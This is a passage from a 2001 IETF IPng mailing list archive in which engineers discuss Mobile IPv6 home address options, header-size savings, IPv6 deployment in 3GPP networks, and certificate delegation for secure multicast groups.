Savola'" , "Hesham Soliman (ERA)" Cc: john.loughney@nokia.com, ipng@sunroof.eng.sun.com Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Tue, 4 Dec 2001 13:10:35 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > => Your understanding is correct, but I disagree with the > > conclusion (if the above is a conclusion). It's clear > > to me (and many) that there are security hazards associated > > with the HAO (thanks to your draft). But rather than redefining > > mobility, or relaxing the requirements on mobility, I think > > we should work on something that fixes the problem. > > So my point is, let's fix the problem instead of redefining > > the original goal. Breaking connections was always a no no ! > > You're right, I that wasn't a conclusion. I only tried to > enumerate the > dependencies and needs for BU and HAO. A conclusion seems > to be that > without HAO, => OK, and just to be a bit pedantic :), I would say that without some form of tunnelling (e.g. the HAO) we can not get true mobility. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 04:13:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4CDoHt003319 for ; Tue, 4 Dec 2001 04:13:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4CDoHJ003318 for ipng-dist; Tue, 4 Dec 2001 04:13:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4CDkHt003311 for ; Tue, 4 Dec 2001 04:13:46 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA17697 for ; Tue, 4 Dec 2001 04:13:46 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA28798 for ; Tue, 4 Dec 2001 05:13:45 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB4CDfM29012; Tue, 4 Dec 2001 14:13:41 +0200 Date: Tue, 4 Dec 2001 14:13:41 +0200 (EET) From: Pekka Savola To: "Hesham Soliman (ERA)" cc: , Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C102@Esealnt861.al.sw.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 4 Dec 2001, Hesham Soliman (ERA) wrote: > > > => Your understanding is correct, but I disagree with the > > > conclusion (if the above is a conclusion). It's clear > > > to me (and many) that there are security hazards associated > > > with the HAO (thanks to your draft). But rather than redefining > > > mobility, or relaxing the requirements on mobility, I think > > > we should work on something that fixes the problem. > > > So my point is, let's fix the problem instead of redefining > > > the original goal. Breaking connections was always a no no ! > > > > You're right, I that wasn't a conclusion. I only tried to > > enumerate the > > dependencies and needs for BU and HAO. A conclusion seems > > to be that > > without HAO, > > => OK, and just to be a bit pedantic :), I would say that > without some form of tunnelling (e.g. the HAO) we can not > get true mobility. True. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 05:16:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4DG4Ht003516 for ; Tue, 4 Dec 2001 05:16:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4DG4OZ003515 for ipng-dist; Tue, 4 Dec 2001 05:16:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4DG0Ht003508 for ; Tue, 4 Dec 2001 05:16:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA23070 for ; Tue, 4 Dec 2001 05:16:01 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA24632 for ; Tue, 4 Dec 2001 06:16:00 -0700 (MST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fB4DFwu16183 for ; Tue, 4 Dec 2001 14:15:58 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Dec 04 14:15:39 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Dec 2001 14:07:35 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C104@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Pekka Savola'" , ipng@sunroof.eng.sun.com Subject: RE: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt Date: Tue, 4 Dec 2001 14:15:30 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Saving 16 or 32 bytes in the datagram is IMO basically irrelevant. => "irrelevant" to what ?? Not to BW consumption obviously. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 05:42:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4Dg6Ht003693 for ; Tue, 4 Dec 2001 05:42:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4Dg5G0003692 for ipng-dist; Tue, 4 Dec 2001 05:42:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4Dg2Ht003685 for ; Tue, 4 Dec 2001 05:42:02 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA25448 for ; Tue, 4 Dec 2001 05:42:03 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA04186 for ; Tue, 4 Dec 2001 05:42:02 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB4Dg0p29715; Tue, 4 Dec 2001 15:42:00 +0200 Date: Tue, 4 Dec 2001 15:42:00 +0200 (EET) From: Pekka Savola To: "Hesham Soliman (ERA)" cc: Subject: RE: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C104@Esealnt861.al.sw.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 4 Dec 2001, Hesham Soliman (ERA) wrote: > > Saving 16 or 32 bytes in the datagram is IMO basically irrelevant. > > => "irrelevant" to what ?? Not to BW consumption obviously. IMO, there comes a point when adding complexity to save a few bytes off every datagram may not be worth worrying _too much_ about it. On slow, high-delay links (e.g. 9600bit/s) this might make some sense, but these need a header compression _anyway_ so I don't think there are any additional gains there. An example. While typing this, I captured with tcpdump the IPv6 datagrams I was typing. It appears that in a second, on average ~5-15 packets were sent in one direction. Each of these had an IPv6 header of 40 bytes and TCP header plus basically a few characters -- ~60 bytes. Taking the average of 10 packets/sec, this amounts to about 4800 bit/sec of frantic typing. With additional 32 bytes, the requirement would have been 7360 bits/sec. Contrast that to e.g. 64kbit/s ISDN connection, 56kbit/s modem, 10Mbit/s Ethernet and you don't see a huge difference; if you want to transfer data, you'd use bigger packet size anyway. Basically the required additional capacity would be something from (40+32+1)/(40+1) = 78% (very small packets) to (40+32+1428)/(40+1428) = 2% [or even less]. The first is not a problem if you don't have too slow link (where you'd need ROHC or something anyway), and latter is rather irrelevant IMO. Not every byte counts. Which is why I don't see much of a point in adding complexity to only sate one, rather minor need (slow, high-delay links). But there are other gains to be gained in the address deletion though, which make it more interesting than just saving a few bytes. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 05:56:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4DuqHt003856 for ; Tue, 4 Dec 2001 05:56:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4DuqTq003855 for ipng-dist; Tue, 4 Dec 2001 05:56:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4DunHt003846 for ; Tue, 4 Dec 2001 05:56:49 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA01495 for ; Tue, 4 Dec 2001 05:56:50 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA10246 for ; Tue, 4 Dec 2001 05:56:48 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fB4DueI30697; Tue, 4 Dec 2001 14:56:40 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id OAA11901; Tue, 4 Dec 2001 14:56:40 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fB4DudD89565; Tue, 4 Dec 2001 14:56:39 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112041356.fB4DudD89565@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Margaret Wasserman cc: ipng@sunroof.eng.sun.com Subject: Re: draft-wasserman-3gpp-advice-00.txt In-reply-to: Your message of Tue, 13 Nov 2001 17:40:26 EST. <4.2.2.20011113173604.01e329e0@mail.windriver.com> Date: Tue, 04 Dec 2001 14:56:39 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have two general concerns about the use of IPv6 in 3GPP (i.e. things not yet in the document). First, as it has already been discussed, there can be two kinds of UE (the customer equipment): - 3GPP view: some kind of smart handset or PDA which has the 3GPP stack with radio, ... This kind of devices has *not* enough human interfaces to be able to do something interesting IMHO but this is another debate (:-). - our view: a laptop connected to a handset or a dedicated board. This laptop has a regular IPv6 stack so the attachement device has to present the 3GPP connection as a standard network (i.e. Ethernet (what is done by IEEE 802.11 for instance) or PPP with IPv6CP). I believe everybody agree about what not to do in the second case... The second concern is a bit different, GGSNs will be the point of connection to an IP world (the Internet, an Intranet) only if the regulation bodies are not involved. We already know the vertical integration in a walled garden dream of telecom operators but fortunately regulation bodies (like ART in France) are here in order to require a real open market for IP services. This is not new and this already happened for ADSL, so I believe we'll get similar solutions. If the point of connection to IP is a NAS (Network Access Server) of an ISP, the PDP type of choice should be PPP, just because PPP/Radius provides a good network access control. Note that this solves: - the UE issue because PPP is a very well known protocol - the network access control issue because PPP has good authentication-authorization-accounting features (PS: IP network access control, the radio network access control should be the job of the SIM based stuff. They have to be different because the operator and the ISP are not the same entity) - the GGSN routing issue because if addresses are allocated by ISPs, the GGSN has to manage a zillion of host (or /64) routes. - the GGSN to ISP attachement (Gi) because there is no reason to not reuse the current ADSL solution (ATM (sic!) to BASs). etc... Two small (other) remarks: - in order to justify the allocation of /64 in any cases, we should require the support by NASs of UE temporary addresses (so the recommendation 3 will become a strong one). - the dialup document (draft-itojun-ipv6-dialup-requirement-02.txt) *applies* so: * /128 MUST NOT be considered (/64 is the minimum) * allocation model discussion is pertinent so the UE SHOULD be by default considered as to be a router Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 06:13:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4EDSHt003932 for ; Tue, 4 Dec 2001 06:13:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4EDSMQ003931 for ipng-dist; Tue, 4 Dec 2001 06:13:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4EDNHt003917 for ; Tue, 4 Dec 2001 06:13:24 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA24468 for ; Tue, 4 Dec 2001 06:13:25 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA16891 for ; Tue, 4 Dec 2001 06:13:23 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA09410; Tue, 4 Dec 2001 15:13:21 +0100 Received: from dhcp22-47.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA82352 from ; Tue, 4 Dec 2001 15:13:20 +0100 Message-Id: <3C0CDA00.B4BA96D@hursley.ibm.com> Date: Tue, 04 Dec 2001 15:13:20 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Does anybody know how well ROHC would perform in the specific case Steve's draft covers? If it does as well, or almost as well, then I would agree with Pekka- any case where the bandwidth is critical should be using ROHC anyway. Brian Pekka Savola wrote: > > On Tue, 4 Dec 2001, Hesham Soliman (ERA) wrote: > > > Saving 16 or 32 bytes in the datagram is IMO basically irrelevant. > > > > => "irrelevant" to what ?? Not to BW consumption obviously. > > IMO, there comes a point when adding complexity to save a few bytes off > every datagram may not be worth worrying _too much_ about it. > > On slow, high-delay links (e.g. 9600bit/s) this might make some sense, > but these need a header compression _anyway_ so I don't think there are > any additional gains there. > > An example. While typing this, I captured with tcpdump the IPv6 datagrams > I was typing. It appears that in a second, on average ~5-15 packets were > sent in one direction. Each of these had an IPv6 header of 40 bytes and > TCP header plus basically a few characters -- ~60 bytes. Taking the > average of 10 packets/sec, this amounts to about 4800 bit/sec of frantic > typing. With additional 32 bytes, the requirement would have been 7360 > bits/sec. > > Contrast that to e.g. 64kbit/s ISDN connection, 56kbit/s modem, 10Mbit/s > Ethernet and you don't see a huge difference; if you want to transfer > data, you'd use bigger packet size anyway. > > Basically the required additional capacity would be something from > (40+32+1)/(40+1) = 78% (very small packets) to (40+32+1428)/(40+1428) = 2% > [or even less]. > > The first is not a problem if you don't have too slow link (where you'd > need ROHC or something anyway), and latter is rather irrelevant IMO. > > Not every byte counts. > > Which is why I don't see much of a point in adding complexity to only sate > one, rather minor need (slow, high-delay links). > > But there are other gains to be gained in the address deletion though, > which make it more interesting than just saving a few bytes. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 06:46:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4EkHHt004100 for ; Tue, 4 Dec 2001 06:46:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4EkHQ4004099 for ipng-dist; Tue, 4 Dec 2001 06:46:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4EkEHt004092 for ; Tue, 4 Dec 2001 06:46:14 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA28926 for ; Tue, 4 Dec 2001 06:46:13 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA19910 for ; Tue, 4 Dec 2001 06:46:12 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fB4Ek4I04854; Tue, 4 Dec 2001 15:46:04 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA13057; Tue, 4 Dec 2001 15:46:04 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fB4Ek3D89821; Tue, 4 Dec 2001 15:46:04 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112041446.fB4Ek3D89821@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: john.loughney@nokia.com cc: mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: Re: Quick comments on draft-wasserman-3gpp-advice-00.txt In-reply-to: Your message of Mon, 26 Nov 2001 13:53:11 +0200. <0C1353ABB1DEB74DB067ADFF749C4EEF09BC2C@esebe004.NOE.Nokia.com> Date: Tue, 04 Dec 2001 15:46:03 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: It seems that there are 3 main recommendations made in the document: 1. Specify that multiple prefixes may be assigned to each primary PDP context, => IMHO this is more a problem of primary/secondary vs. single IPv6 link. But as there is no primary prefix and secondary PDP contexts are for QoS I agree with this recommendations. 2. Require that a given prefix must not be assigned to more than one primary PDP context, and => if this is not done IP routing at the GGSN is simply impossible (GGSN must be an IP router so there is no real choice). 3. Allow 3GPP nodes to use multiple identifiers within those prefixes, including randomly generated identifiers. => support of randomly generated identifiers shall become mandatory for address allocation schemes. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 07:00:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4F0sHt004128 for ; Tue, 4 Dec 2001 07:00:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4F0sYK004127 for ipng-dist; Tue, 4 Dec 2001 07:00:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4F0oHt004120 for ; Tue, 4 Dec 2001 07:00:51 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09011 for ; Tue, 4 Dec 2001 07:00:50 -0800 (PST) Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA08987 for ; Tue, 4 Dec 2001 08:00:31 -0700 (MST) Received: from ws34.nomadiclab.com (ws34.nomadiclab.com [195.165.196.34]) by ws130.nomadiclab.com (Postfix) with ESMTP id A690874403; Tue, 4 Dec 2001 17:07:03 +0200 (EET) Received: from nomadiclab.com (ws211.nomadiclab.com [195.165.196.211]) by ws34.nomadiclab.com (Postfix) with ESMTP id B6023BA21; Tue, 4 Dec 2001 17:00:25 +0200 (EET) Message-ID: <3C0CE509.6000803@nomadiclab.com> Date: Tue, 04 Dec 2001 17:00:25 +0200 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.6+) Gecko/20011129 X-Accept-Language: en-us MIME-Version: 1.0 To: Claude Castelluccia Cc: msec@securemulticast.org, ipng@sunroof.eng.sun.com, smug@cs.umass.edu, gab@sun.com Subject: Comments to draft-castelluccia-sgmv6-00.txt References: <3C0275D9.484A2A4@inrialpes.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Claude, [I am not a member in msec or smug, and therefore I don't know if this point has been taken up there already. It may even be that my message is rejected from those list due to my non-membership status.] I find the idea presented in the draft very refreshing and beautiful. The fact that multicast group IDs are 112 bits (instead of 64 bits) makes it work even better than for basic SUCV/CAM. On the other hand, since I am no expert in multicast and have only a very bad understanding on how you create new multicast groups in the first place, I cannot comment that side. Anyway, in Section 5.3 you write: > 2. The private key, the public key, the counter and the GroupID > are distributed to the (authorized) group members. Note that > private key requires confidentiality because it only has to > be known to the authorized group members. The public key, > the counter and the GroupID can be sent in clear but require > integrity. Now, I was left wondering why to send the private key itself? If we assume that all the hosts in the multicast group have their own public/private key pair (e.g. for basic SUCV or in order to authenticate them for some other reason), wouldn't it be easier just to delegate the right to join the multicast group? That is, instead of sending the private key, you would send an SPKI or KeyNote2 certificate stating that the public key of the host is authorized to join the multicast group represented by the group key? Delegation would make key distribution easier. Instead of sending the private key in a secure channel you just distribute the certificate. You don't even need to authenticate the member host if you know its public key beforehand. The certificate could take care of the integrity of the group public key, the counter and the GroupID, i.e. it would basically be a self-signed certificate. Furthermore, the delegation model would have additional benefits, i.e. it would allow better control of membership. If you add validity time to the certificate, you could control how long the hosts are members of the group. Secondly, if you distribute the private key, any host in the group can leak the private key, and you don't know who it was. In the delegation model, if a host leaks its own private key, you definitely know who it was, and you don't renew that host's certificate when it expires. (I assume, here, of course that the certificates would have relatively short lifetime, e.g. in the order of minutes or hours.) The delegation approach would also help with the replay attack problem (Section 6.3), since it would effectively limit the validity of the reports with the validity of the certificate. I am not so sure about the anycast case, though. My understanding about anycast is that in anycast you want all anycast hosts to behave equally. Therefore they should look the same, and distributing the private key might actually be a good idea. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 07:33:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4FXGHt004156 for ; Tue, 4 Dec 2001 07:33:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4FXG4r004155 for ipng-dist; Tue, 4 Dec 2001 07:33:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4FXAHt004148 for ; Tue, 4 Dec 2001 07:33:11 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14027 for ; Tue, 4 Dec 2001 07:33:10 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA06032 for ; Tue, 4 Dec 2001 08:33:09 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fB4FWkI10188; Tue, 4 Dec 2001 16:32:46 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA14246; Tue, 4 Dec 2001 16:32:47 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fB4FWkD90189; Tue, 4 Dec 2001 16:32:46 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112041532.fB4FWkD90189@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Brian E Carpenter cc: Pekka Savola , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 04 Dec 2001 15:13:20 +0100. <3C0CDA00.B4BA96D@hursley.ibm.com> Date: Tue, 04 Dec 2001 16:32:46 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: 